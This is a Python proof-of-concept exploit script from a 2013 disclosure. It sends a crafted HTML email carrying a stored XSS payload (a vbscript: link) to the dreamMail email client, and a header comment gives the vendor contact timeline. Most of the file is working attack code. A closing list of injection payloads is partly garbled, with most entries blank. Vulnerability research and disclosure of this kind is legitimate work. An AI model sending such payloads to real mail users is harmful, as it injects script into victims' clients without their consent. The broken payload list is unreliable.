#!/usr/bin/python
'''
Author: loneferret of Offensive Security
Product: dreamMail e-mail client
Version: 4.6.9.2
Vendor Site: http://www.dreammail.eu
Software Download: http://www.dreammail.eu/intl/en/download.html
Tested on: Windows XP SP3 Eng.
Tested on: Windows 7 Pro SP1 Eng.
dreamMail: Using default settings
E-mail client is vulnerable to stored XSS. Either opening or viewing the e-mail and you
get an annoying alert box etc etc etc.
Injection Point: Body
Gave vendor 7 days to reply in order to co-ordinate a release date.
Timeline:
16 Aug 2013: Tentative release date 23 Aug 2013
16 Aug 2013: Vulnerability reported to vendor. Provided complete list of payloads.
19 Aug 2013: Still no response. Sent second e-mail.
22 Aug 2013: Got a reply but not from development guy. He seems MIA according to contact.
No longer supported due to missing development guy.
23 Aug 2013: Still nothing.
24 Aug 2013: Release
'''
import smtplib, urllib2
payload = '''![](vbscript:msgbox("XSS"))
'''
def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: hacker@offsec.local\n"
msg += "To: victim@offsec.local\n"
msg += 'Date: Today\r\n'
msg += "Subject: XSS payload\n"
msg += "Content-type: text/html\n\n"
msg += payload + "\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()
username = "acker@offsec.local"
password = "123456"
dstemail = "victim@offsec.local"
frmemail = "acker@offsec.local"
smtpsrv = "xxx.xxx.xxx.xxx"
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
'''
List of XSS types and different syntaxes to which the client is vulnerable.
Each payload will pop a message box, usually with the message "XSS" inside.
Paylaod-: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'>=&{}
Paylaod-:
Paylaod-:
Paylaod-:
Paylaod-:
Paylaod-: ;)
Paylaod-: )
Paylaod-: Paylaod-:
Paylaod-:
Paylaod-:
Paylaod-:
Paylaod-:
Paylaod-:
Paylaod-:
Paylaod-: Paylaod-: Paylaod-: